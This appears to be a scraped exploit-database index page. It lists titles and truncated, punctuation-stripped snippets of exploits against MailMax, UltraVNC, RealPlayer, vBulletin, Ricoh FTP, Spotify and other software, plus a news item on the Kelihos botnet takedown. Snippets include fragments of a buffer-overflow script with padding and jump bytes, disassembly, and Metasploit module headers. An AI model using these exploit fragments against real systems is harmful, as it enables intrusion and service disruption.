RichTx32.OCX (TextBox Control 6.0) ActiveX Dos

Exploit for windows platform in category dos / poc Title: RichTx32.OCX TextBox Control 6.0 ActiveX Dos Author: Dmar al3noOoz يارب انصر اخوننا في سوريا Mail : email protected Software Link : http://support.microsoft.com/default.aspx?scid=kb;en-us;838010 Version: 6.00.8169 Tested on: Windows XP...

GetSimple 3.1 Shell Upload / Disclosure

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : 1337day.com 0 1 + Support e-mail :...

MailMax 4.6 - POP3 'USER' Remote Buffer Overflow

!/usr/bin/python MailMax \n" %sys.argv0 sys.exit print "\n! Connecting to %s ..." %sys.argv1 connect to host sock = socketAFINET,SOCKSTREAM sock.connectsys.argv1,intsys.argv2 sock.recv1024 time.sleep5 buffer = "USER " buffer += "A" 1439 padding buffer += "\xEB\x06\x90\x90" Short jmp 6 bytes buffe...

VMware ESXi and ESX address several security issues

a. VMware ROM Overwrite Privilege Escalation A flaw in the way port-based I/O is handled allows for modifying Read-Only Memory that belongs to the Virtual DOS Machine. Exploitation of this issue may lead to privilege escalation on Guest Operating Systems that run Windows 2000, Windows XP 32-bit,...

Havalite CMS latest (FU/SQLi/dCDB) Mutiple Vulnerabilities

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow

This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release. If a malicious server responds to a client connection indicating a minor protocol version of 14 or 16, a 32-bit integer is subsequently read from the TCP stream by the client and directly provided as the trusted size for...

Kaspersky Knocks Down Kelihos Botnet Again, But Expects Return

For the second time in six months, researchers from the Russian antivirus company, Kaspersky Lab, carried out an operation to take down the newest iteration of the Kelihos botnet, also known as “Hlux.” Microsoft and Kaspersky worked together in September, 2011, on the first Kelihos take-down. The...

PhpTSMadmin 0.7.0 (functions.php) Remote Code Execution

Exploit for php platform in category web applications ?php / +------------------------------------------------------------------+ + PhpTSMadmin 0.7.0 functions.php Remote Code Execution + +------------------------------------------------------------------+ Web-App : PhpTSMadmin 0.7.0 Vendor :...

PHP SQL Server (MSSQL) Query Analyzer Remote Code Execution

Exploit for php platform in category web applications ?php / +------------------------------------------------------------------+ + PHP SQL Server MSSQL Query Analyzer Remote Code Execution + +------------------------------------------------------------------+ Web-App : PHP SQL Server MSSQL Query...

UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow

No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ class Metasploit3...

Microsoft Windows Service Pack Missing Multiple Vulnerabilities

Microsoft Windows is prone to multiple vulnerabilities. SPDX-FileCopyrightText: 2012 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow

Exploit for php platform in category web applications $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ class Metasploit...

vBulletin 4.1.7 => 4.1.10 XSS Vulnerability

Exploit for php platform in category web applications Exploit Title: vBulletin 4.1.7 = 4.1.10 XSS Vulnerability Google Dork: intitle: powered by vBulletin 4.1.10 Date: 20/02/2012 Author: .e0f Software Link: http://www.vbulletin.com/ Version: 4.1.10 Others not tested Tested on: BackTrack 5 |...

RealPlayer .mp4 file handling memory corruption

Exploit for windows platform in category dos / poc Application : RealPlayer mp4 file handling memory corruption Versions : From mp4fformat.dll : 61177240 55 PUSH EBP 61177241 8BEC MOV EBP,ESP 61177243 8B4D 0C MOV ECX,DWORD PTR SS:EBP+C 61177246 85C9 TEST ECX,ECX ; ECX = 00000001 61177248 8B45 08...

Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow

Exploit for windows platform in category remote exploits This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework...

RealPlayer - .mp4 file handling memory Corruption

RealPlayer - .mp4 file handling memory Corruption Application : RealPlayer mp4 file handling memory corruption Versions : From mp4fformat.dll : 61177240 55 PUSH EBP 61177241 8BEC MOV EBP,ESP 61177243 8B4D 0C MOV ECX,DWORD PTR SS:EBP+C 61177246 85C9 TEST ECX,ECX ; ECX = 00000001 61177248 8B45 08 M...

RealPlayer 1.1.4 Memory Corruption

Application : RealPlayer mp4 file handling memory corruption Versions : From mp4fformat.dll : 61177240 55 PUSH EBP 61177241 8BEC MOV EBP,ESP 61177243 8B4D 0C MOV ECX,DWORD PTR SS:EBP+C 61177246 85C9 TEST ECX,ECX ; ECX = 00000001 61177248 8B45 08 MOV EAX,DWORD PTR SS:EBP+8 ; EAX is Pointer to valu...

RealPlayer - '.mp4' file handling memory Corruption

Application : RealPlayer mp4 file handling memory corruption Versions : From mp4fformat.dll : 61177240 55 PUSH EBP 61177241 8BEC MOV EBP,ESP 61177243 8B4D 0C MOV ECX,DWORD PTR SS:EBP+C 61177246 85C9 TEST ECX,ECX ; ECX = 00000001 61177248 8B45 08 MOV EAX,DWORD PTR SS:EBP+8 ; EAX is Pointer to valu...

Ricoh DC Software DL-10 SR10 FTP Server (SR10.exe) - FTP USER Command Buffer Overflow (Metasploit)

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 "Ricoh DC DL-10 SR...

Spotify 0.8.2.610 (search func) Memory Exhaustion Exploit

Exploit for windows platform in category local exploits !/usr/local/bin/perl Spotify 0.8.2.610 search func Memory Exhaustion Exploit Vendor: Spotify Ltd Product web page: http://www.spotify.com Affected version: 0.8.2.610.g090a06f8 Summary: Think of Spotify as your new music collection. Your...